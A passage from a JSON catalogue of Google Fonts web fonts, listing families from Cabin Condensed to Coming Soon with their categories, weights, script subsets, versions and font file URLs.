        "700": "http://fonts.gstatic.com/s/cabincondensed/v13/nwpJtK6mNhBK2err_hqkYhHRqmwi3Mf97F15-K1oqQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Cabin Sketch",
      "category": "display",
      "variants": [
        "regular",
        "700"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v13",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/cabinsketch/v13/QGYpz_kZZAGCONcK2A4bGOjMn9JM6fnuKg.ttf",
        "700": "http://fonts.gstatic.com/s/cabinsketch/v13/QGY2z_kZZAGCONcK2A4bGOj0I_1o4dLyI4CMFw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Caesar Dressing",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/caesardressing/v8/yYLx0hLa3vawqtwdswbotmK4vrR3cbb6LZttyg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Cagliostro",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/cagliostro/v8/ZgNWjP5HM73BV5amnX-TjGXEM4COoE4.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Cairo",
      "category": "sans-serif",
      "variants": [
        "200",
        "300",
        "regular",
        "600",
        "700",
        "900"
      ],
      "subsets": [
        "arabic",
        "latin-ext",
        "latin"
      ],
      "version": "v6",
      "lastModified": "2019-07-17",
      "files": {
        "200": "http://fonts.gstatic.com/s/cairo/v6/SLXLc1nY6Hkvalrub76M7dd8aGZk.ttf",
        "300": "http://fonts.gstatic.com/s/cairo/v6/SLXLc1nY6HkvalqKbL6M7dd8aGZk.ttf",
        "regular": "http://fonts.gstatic.com/s/cairo/v6/SLXGc1nY6HkvamImRJqExst1.ttf",
        "600": "http://fonts.gstatic.com/s/cairo/v6/SLXLc1nY6Hkvalr-ar6M7dd8aGZk.ttf",
        "700": "http://fonts.gstatic.com/s/cairo/v6/SLXLc1nY6Hkvalqaa76M7dd8aGZk.ttf",
        "900": "http://fonts.gstatic.com/s/cairo/v6/SLXLc1nY6Hkvalqiab6M7dd8aGZk.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Caladea",
      "category": "serif",
      "variants": [
        "regular",
        "italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v1",
      "lastModified": "2020-03-03",
      "files": {
        "regular": "http://fonts.gstatic.com/s/caladea/v1/kJEzBugZ7AAjhybUjR93-9IztOc.ttf",
        "italic": "http://fonts.gstatic.com/s/caladea/v1/kJExBugZ7AAjhybUvR19__A2pOdvDA.ttf",
        "700": "http://fonts.gstatic.com/s/caladea/v1/kJE2BugZ7AAjhybUtaNY39oYqO52FZ0.ttf",
        "700italic": "http://fonts.gstatic.com/s/caladea/v1/kJE0BugZ7AAjhybUvR1FQ98SrMxzBZ2lDA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Calistoga",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v1",
      "lastModified": "2020-03-03",
      "files": {
        "regular": "http://fonts.gstatic.com/s/calistoga/v1/6NUU8F2OJg6MeR7l4e0vtMYAwdRZfw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Calligraffitti",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/calligraffitti/v11/46k2lbT3XjDVqJw3DCmCFjE0vnFZM5ZBpYN-.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Cambay",
      "category": "sans-serif",
      "variants": [
        "regular",
        "italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "devanagari",
        "latin-ext",
        "latin"
      ],
      "version": "v6",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/cambay/v6/SLXJc1rY6H0_ZDsGbrSIz9JsaA.ttf",
        "italic": "http://fonts.gstatic.com/s/cambay/v6/SLXLc1rY6H0_ZDs2bL6M7dd8aGZk.ttf",
        "700": "http://fonts.gstatic.com/s/cambay/v6/SLXKc1rY6H0_ZDs-0pusx_lwYX99kA.ttf",
        "700italic": "http://fonts.gstatic.com/s/cambay/v6/SLXMc1rY6H0_ZDs2bIYwwvN0Q3ptkDMN.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Cambo",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/cambo/v8/IFSqHeNEk8FJk416ok7xkPm8.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Candal",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/candal/v9/XoHn2YH6T7-t_8cNAR4Jt9Yxlw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Cantarell",
      "category": "sans-serif",
      "variants": [
        "regular",
        "italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-17",
      "files": {
        "regular": "http://fonts.gstatic.com/s/cantarell/v9/B50NF7ZDq37KMUvlO01Ji6hqHK-CLA.ttf",
        "italic": "http://fonts.gstatic.com/s/cantarell/v9/B50LF7ZDq37KMUvlO015iaJuPqqSLJYf.ttf",
        "700": "http://fonts.gstatic.com/s/cantarell/v9/B50IF7ZDq37KMUvlO01xN4dOFISeJY8GgQ.ttf",
        "700italic": "http://fonts.gstatic.com/s/cantarell/v9/B50WF7ZDq37KMUvlO015iZrSEY6aB4oWgWHB.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Cantata One",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/cantataone/v9/PlI5Fl60Nb5obNzNe2jslVxEt8CwfGaD.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Cantora One",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/cantoraone/v9/gyB4hws1JdgnKy56GB_JX6zdZ4vZVbgZ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Capriola",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/capriola/v7/wXKoE3YSppcvo1PDln_8L-AinG8y.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Cardo",
      "category": "serif",
      "variants": [
        "regular",
        "italic",
        "700"
      ],
      "subsets": [
        "greek-ext",
        "greek",
        "latin-ext",
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-17",
      "files": {
        "regular": "http://fonts.gstatic.com/s/cardo/v11/wlp_gwjKBV1pqiv_1oAZ2H5O.ttf",
        "italic": "http://fonts.gstatic.com/s/cardo/v11/wlpxgwjKBV1pqhv93IQ73W5OcCk.ttf",
        "700": "http://fonts.gstatic.com/s/cardo/v11/wlpygwjKBV1pqhND-aQR82JHaTBX.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Carme",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/carme/v10/ptRHTiWdbvZIDOjGxLNrxfbZ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Carrois Gothic",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/carroisgothic/v10/Z9XPDmFATg-N1PLtLOOxvIHl9ZmD3i7ajcJ-.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Carrois Gothic SC",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/carroisgothicsc/v9/ZgNJjOVHM6jfUZCmyUqT2A2HVKjc-28nNHabY4dN.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Carter One",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/carterone/v11/q5uCsoe5IOB2-pXv9UcNIxR2hYxREMs.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Catamaran",
      "category": "sans-serif",
      "variants": [
        "100",
        "200",
        "300",
        "regular",
        "500",
        "600",
        "700",
        "800",
        "900"
      ],
      "subsets": [
        "latin-ext",
        "tamil",
        "latin"
      ],
      "version": "v6",
      "lastModified": "2019-07-17",
      "files": {
        "100": "http://fonts.gstatic.com/s/catamaran/v6/o-0OIpQoyXQa2RxT7-5jhjRFSfiM7HBj.ttf",
        "200": "http://fonts.gstatic.com/s/catamaran/v6/o-0NIpQoyXQa2RxT7-5jKhVlY9aA5Wl6PQ.ttf",
        "300": "http://fonts.gstatic.com/s/catamaran/v6/o-0NIpQoyXQa2RxT7-5jThZlY9aA5Wl6PQ.ttf",
        "regular": "http://fonts.gstatic.com/s/catamaran/v6/o-0IIpQoyXQa2RxT7-5b4j5Ba_2c7A.ttf",
        "500": "http://fonts.gstatic.com/s/catamaran/v6/o-0NIpQoyXQa2RxT7-5jFhdlY9aA5Wl6PQ.ttf",
        "600": "http://fonts.gstatic.com/s/catamaran/v6/o-0NIpQoyXQa2RxT7-5jOhBlY9aA5Wl6PQ.ttf",
        "700": "http://fonts.gstatic.com/s/catamaran/v6/o-0NIpQoyXQa2RxT7-5jXhFlY9aA5Wl6PQ.ttf",
        "800": "http://fonts.gstatic.com/s/catamaran/v6/o-0NIpQoyXQa2RxT7-5jQhJlY9aA5Wl6PQ.ttf",
        "900": "http://fonts.gstatic.com/s/catamaran/v6/o-0NIpQoyXQa2RxT7-5jZhNlY9aA5Wl6PQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Caudex",
      "category": "serif",
      "variants": [
        "regular",
        "italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "greek-ext",
        "greek",
        "latin-ext",
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/caudex/v9/esDQ311QOP6BJUrIyviAnb4eEw.ttf",
        "italic": "http://fonts.gstatic.com/s/caudex/v9/esDS311QOP6BJUr4yPKEv7sOE4in.ttf",
        "700": "http://fonts.gstatic.com/s/caudex/v9/esDT311QOP6BJUrwdteklZUCGpG-GQ.ttf",
        "700italic": "http://fonts.gstatic.com/s/caudex/v9/esDV311QOP6BJUr4yMo4kJ8GOJSuGdLB.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Caveat",
      "category": "handwriting",
      "variants": [
        "regular",
        "700"
      ],
      "subsets": [
        "cyrillic",
        "cyrillic-ext",
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-17",
      "files": {
        "regular": "http://fonts.gstatic.com/s/caveat/v7/Wnz6HAc5bAfYB2QLYTwZqg_MPQ.ttf",
        "700": "http://fonts.gstatic.com/s/caveat/v7/Wnz5HAc5bAfYB2Qz3RM9oiTQNAuxjA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Caveat Brush",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/caveatbrush/v5/EYq0maZfwr9S9-ETZc3fKXtMW7mT03pdQw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Cedarville Cursive",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/cedarvillecursive/v11/yYL00g_a2veiudhUmxjo5VKkoqA-B_neJbBxw8BeTg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Ceviche One",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/cevicheone/v10/gyB4hws1IcA6JzR-GB_JX6zdZ4vZVbgZ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Chakra Petch",
      "category": "sans-serif",
      "variants": [
        "300",
        "300italic",
        "regular",
        "italic",
        "500",
        "500italic",
        "600",
        "600italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "vietnamese",
        "thai",
        "latin-ext",
        "latin"
      ],
      "version": "v3",
      "lastModified": "2019-11-05",
      "files": {
        "300": "http://fonts.gstatic.com/s/chakrapetch/v3/cIflMapbsEk7TDLdtEz1BwkeNIhFQJXE3AY00g.ttf",
        "300italic": "http://fonts.gstatic.com/s/chakrapetch/v3/cIfnMapbsEk7TDLdtEz1BwkWmpLJQp_A_gMk0izH.ttf",
        "regular": "http://fonts.gstatic.com/s/chakrapetch/v3/cIf6MapbsEk7TDLdtEz1BwkmmKBhSL7Y1Q.ttf",
        "italic": "http://fonts.gstatic.com/s/chakrapetch/v3/cIfkMapbsEk7TDLdtEz1BwkWmqplarvI1R8t.ttf",
        "500": "http://fonts.gstatic.com/s/chakrapetch/v3/cIflMapbsEk7TDLdtEz1BwkebIlFQJXE3AY00g.ttf",
        "500italic": "http://fonts.gstatic.com/s/chakrapetch/v3/cIfnMapbsEk7TDLdtEz1BwkWmpKRQ5_A_gMk0izH.ttf",
        "600": "http://fonts.gstatic.com/s/chakrapetch/v3/cIflMapbsEk7TDLdtEz1BwkeQI5FQJXE3AY00g.ttf",
        "600italic": "http://fonts.gstatic.com/s/chakrapetch/v3/cIfnMapbsEk7TDLdtEz1BwkWmpK9RJ_A_gMk0izH.ttf",
        "700": "http://fonts.gstatic.com/s/chakrapetch/v3/cIflMapbsEk7TDLdtEz1BwkeJI9FQJXE3AY00g.ttf",
        "700italic": "http://fonts.gstatic.com/s/chakrapetch/v3/cIfnMapbsEk7TDLdtEz1BwkWmpLZRZ_A_gMk0izH.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Changa",
      "category": "sans-serif",
      "variants": [
        "200",
        "300",
        "regular",
        "500",
        "600",
        "700",
        "800"
      ],
      "subsets": [
        "arabic",
        "latin-ext",
        "latin"
      ],
      "version": "v9",
      "lastModified": "2020-02-05",
      "files": {
        "200": "http://fonts.gstatic.com/s/changa/v9/2-c79JNi2YuVOUcOarRPgnNGooxCZy2xQjDp9htf1ZM.ttf",
        "300": "http://fonts.gstatic.com/s/changa/v9/2-c79JNi2YuVOUcOarRPgnNGooxCZ_OxQjDp9htf1ZM.ttf",
        "regular": "http://fonts.gstatic.com/s/changa/v9/2-c79JNi2YuVOUcOarRPgnNGooxCZ62xQjDp9htf1ZM.ttf",
        "500": "http://fonts.gstatic.com/s/changa/v9/2-c79JNi2YuVOUcOarRPgnNGooxCZ5-xQjDp9htf1ZM.ttf",
        "600": "http://fonts.gstatic.com/s/changa/v9/2-c79JNi2YuVOUcOarRPgnNGooxCZ3O2QjDp9htf1ZM.ttf",
        "700": "http://fonts.gstatic.com/s/changa/v9/2-c79JNi2YuVOUcOarRPgnNGooxCZ0q2QjDp9htf1ZM.ttf",
        "800": "http://fonts.gstatic.com/s/changa/v9/2-c79JNi2YuVOUcOarRPgnNGooxCZy22QjDp9htf1ZM.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Changa One",
      "category": "display",
      "variants": [
        "regular",
        "italic"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v12",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/changaone/v12/xfu00W3wXn3QLUJXhzq46AbouLfbK64.ttf",
        "italic": "http://fonts.gstatic.com/s/changaone/v12/xfu20W3wXn3QLUJXhzq42ATivJXeO67ISw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Chango",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/chango/v8/2V0cKI0OB5U7WaJyz324TFUaAw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Charm",
      "category": "handwriting",
      "variants": [
        "regular",
        "700"
      ],
      "subsets": [
        "vietnamese",
        "thai",
        "latin-ext",
        "latin"
      ],
      "version": "v4",
      "lastModified": "2019-11-05",
      "files": {
        "regular": "http://fonts.gstatic.com/s/charm/v4/7cHmv4oii5K0MeYvIe804WIo.ttf",
        "700": "http://fonts.gstatic.com/s/charm/v4/7cHrv4oii5K0Md6TDss8yn4hnCci.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Charmonman",
      "category": "handwriting",
      "variants": [
        "regular",
        "700"
      ],
      "subsets": [
        "vietnamese",
        "thai",
        "latin-ext",
        "latin"
      ],
      "version": "v3",
      "lastModified": "2019-11-05",
      "files": {
        "regular": "http://fonts.gstatic.com/s/charmonman/v3/MjQDmiR3vP_nuxDv47jiWJGovLdh6OE.ttf",
        "700": "http://fonts.gstatic.com/s/charmonman/v3/MjQAmiR3vP_nuxDv47jiYC2HmL9K9OhmGnY.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Chathura",
      "category": "sans-serif",
      "variants": [
        "100",
        "300",
        "regular",
        "700",
        "800"
      ],
      "subsets": [
        "telugu",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-07-16",
      "files": {
        "100": "http://fonts.gstatic.com/s/chathura/v5/_gP91R7-rzUuVjim42dEq0SbTvZyuDo.ttf",
        "300": "http://fonts.gstatic.com/s/chathura/v5/_gP81R7-rzUuVjim42eMiWSxYPp7oSNy.ttf",
        "regular": "http://fonts.gstatic.com/s/chathura/v5/_gP71R7-rzUuVjim418goUC5S-Zy.ttf",
        "700": "http://fonts.gstatic.com/s/chathura/v5/_gP81R7-rzUuVjim42ecjmSxYPp7oSNy.ttf",
        "800": "http://fonts.gstatic.com/s/chathura/v5/_gP81R7-rzUuVjim42eAjWSxYPp7oSNy.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Chau Philomene One",
      "category": "sans-serif",
      "variants": [
        "regular",
        "italic"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/chauphilomeneone/v9/55xxezRsPtfie1vPY49qzdgSlJiHRQFsnIx7QMISdQ.ttf",
        "italic": "http://fonts.gstatic.com/s/chauphilomeneone/v9/55xzezRsPtfie1vPY49qzdgSlJiHRQFcnoZ_YscCdXQB.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Chela One",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/chelaone/v8/6ae-4KC7Uqgdz_JZdPIy31vWNTMwoQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Chelsea Market",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/chelseamarket/v7/BCawqZsHqfr89WNP_IApC8tzKBhlLA4uKkWk.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Chenla",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "khmer"
      ],
      "version": "v12",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/chenla/v12/SZc43FDpIKu8WZ9eXxfonUPL6Q.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Cherry Cream Soda",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/cherrycreamsoda/v10/UMBIrOxBrW6w2FFyi9paG0fdVdRciTd6Cd47DJ7G.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Cherry Swash",
      "category": "display",
      "variants": [
        "regular",
        "700"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/cherryswash/v8/i7dNIFByZjaNAMxtZcnfAy58QHi-EwWMbg.ttf",
        "700": "http://fonts.gstatic.com/s/cherryswash/v8/i7dSIFByZjaNAMxtZcnfAy5E_FeaGy6QZ3WfYg.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Chewy",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/chewy/v11/uK_94ruUb-k-wk5xIDMfO-ed.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Chicle",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/chicle/v8/lJwG-pw9i2dqU-BDyWKuobYSxw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Chilanka",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "malayalam",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2020-03-03",
      "files": {
        "regular": "http://fonts.gstatic.com/s/chilanka/v5/WWXRlj2DZQiMJYaYRrJQI9EAZhTO.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Chivo",
      "category": "sans-serif",
      "variants": [
        "300",
        "300italic",
        "regular",
        "italic",
        "700",
        "700italic",
        "900",
        "900italic"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-17",
      "files": {
        "300": "http://fonts.gstatic.com/s/chivo/v11/va9F4kzIxd1KFrjDY8Z_uqzGQC_-.ttf",
        "300italic": "http://fonts.gstatic.com/s/chivo/v11/va9D4kzIxd1KFrBteUp9sKjkRT_-bF0.ttf",
        "regular": "http://fonts.gstatic.com/s/chivo/v11/va9I4kzIxd1KFoBvS-J3kbDP.ttf",
        "italic": "http://fonts.gstatic.com/s/chivo/v11/va9G4kzIxd1KFrBtQeZVlKDPWTY.ttf",
        "700": "http://fonts.gstatic.com/s/chivo/v11/va9F4kzIxd1KFrjTZMZ_uqzGQC_-.ttf",
        "700italic": "http://fonts.gstatic.com/s/chivo/v11/va9D4kzIxd1KFrBteVp6sKjkRT_-bF0.ttf",
        "900": "http://fonts.gstatic.com/s/chivo/v11/va9F4kzIxd1KFrjrZsZ_uqzGQC_-.ttf",
        "900italic": "http://fonts.gstatic.com/s/chivo/v11/va9D4kzIxd1KFrBteWJ4sKjkRT_-bF0.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Chonburi",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "vietnamese",
        "thai",
        "latin-ext",
        "latin"
      ],
      "version": "v4",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/chonburi/v4/8AtqGs-wOpGRTBq66IWaFr3biAfZ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Cinzel",
      "category": "serif",
      "variants": [
        "regular",
        "700",
        "900"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-17",
      "files": {
        "regular": "http://fonts.gstatic.com/s/cinzel/v9/8vIJ7ww63mVu7gtL8W76HEdHMg.ttf",
        "700": "http://fonts.gstatic.com/s/cinzel/v9/8vIK7ww63mVu7gtzTUHeFGxbO_zo-w.ttf",
        "900": "http://fonts.gstatic.com/s/cinzel/v9/8vIK7ww63mVu7gtzdUPeFGxbO_zo-w.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Cinzel Decorative",
      "category": "display",
      "variants": [
        "regular",
        "700",
        "900"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/cinzeldecorative/v8/daaCSScvJGqLYhG8nNt8KPPswUAPnh7URs1LaCyC.ttf",
        "700": "http://fonts.gstatic.com/s/cinzeldecorative/v8/daaHSScvJGqLYhG8nNt8KPPswUAPniZoaelDQzCLlQXE.ttf",
        "900": "http://fonts.gstatic.com/s/cinzeldecorative/v8/daaHSScvJGqLYhG8nNt8KPPswUAPniZQa-lDQzCLlQXE.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Clicker Script",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/clickerscript/v7/raxkHiKPvt8CMH6ZWP8PdlEq72rY2zqUKafv.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Coda",
      "category": "display",
      "variants": [
        "regular",
        "800"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v15",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/coda/v15/SLXHc1jY5nQ8JUIMapaN39I.ttf",
        "800": "http://fonts.gstatic.com/s/coda/v15/SLXIc1jY5nQ8HeIgTp6mw9t1cX8.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Coda Caption",
      "category": "sans-serif",
      "variants": [
        "800"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v13",
      "lastModified": "2019-07-16",
      "files": {
        "800": "http://fonts.gstatic.com/s/codacaption/v13/ieVm2YRII2GMY7SyXSoDRiQGqcx6x_-fACIgaw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Codystar",
      "category": "display",
      "variants": [
        "300",
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v7",
      "lastModified": "2019-07-16",
      "files": {
        "300": "http://fonts.gstatic.com/s/codystar/v7/FwZf7-Q1xVk-40qxOuYsyuyrj0e29bfC.ttf",
        "regular": "http://fonts.gstatic.com/s/codystar/v7/FwZY7-Q1xVk-40qxOt6A4sijpFu_.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Coiny",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "tamil",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/coiny/v5/gyByhwU1K989PXwbElSvO5Tc.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Combo",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/combo/v8/BXRlvF3Jh_fIhg0iBu9y8Hf0.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Comfortaa",
      "category": "display",
      "variants": [
        "300",
        "regular",
        "500",
        "600",
        "700"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "cyrillic-ext",
        "greek",
        "latin-ext",
        "latin"
      ],
      "version": "v28",
      "lastModified": "2020-02-05",
      "files": {
        "300": "http://fonts.gstatic.com/s/comfortaa/v28/1Pt_g8LJRfWJmhDAuUsSQamb1W0lwk4S4TbMPrQVIT9c2c8.ttf",
        "regular": "http://fonts.gstatic.com/s/comfortaa/v28/1Pt_g8LJRfWJmhDAuUsSQamb1W0lwk4S4WjMPrQVIT9c2c8.ttf",
        "500": "http://fonts.gstatic.com/s/comfortaa/v28/1Pt_g8LJRfWJmhDAuUsSQamb1W0lwk4S4VrMPrQVIT9c2c8.ttf",
        "600": "http://fonts.gstatic.com/s/comfortaa/v28/1Pt_g8LJRfWJmhDAuUsSQamb1W0lwk4S4bbLPrQVIT9c2c8.ttf",
        "700": "http://fonts.gstatic.com/s/comfortaa/v28/1Pt_g8LJRfWJmhDAuUsSQamb1W0lwk4S4Y_LPrQVIT9c2c8.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Coming Soon",
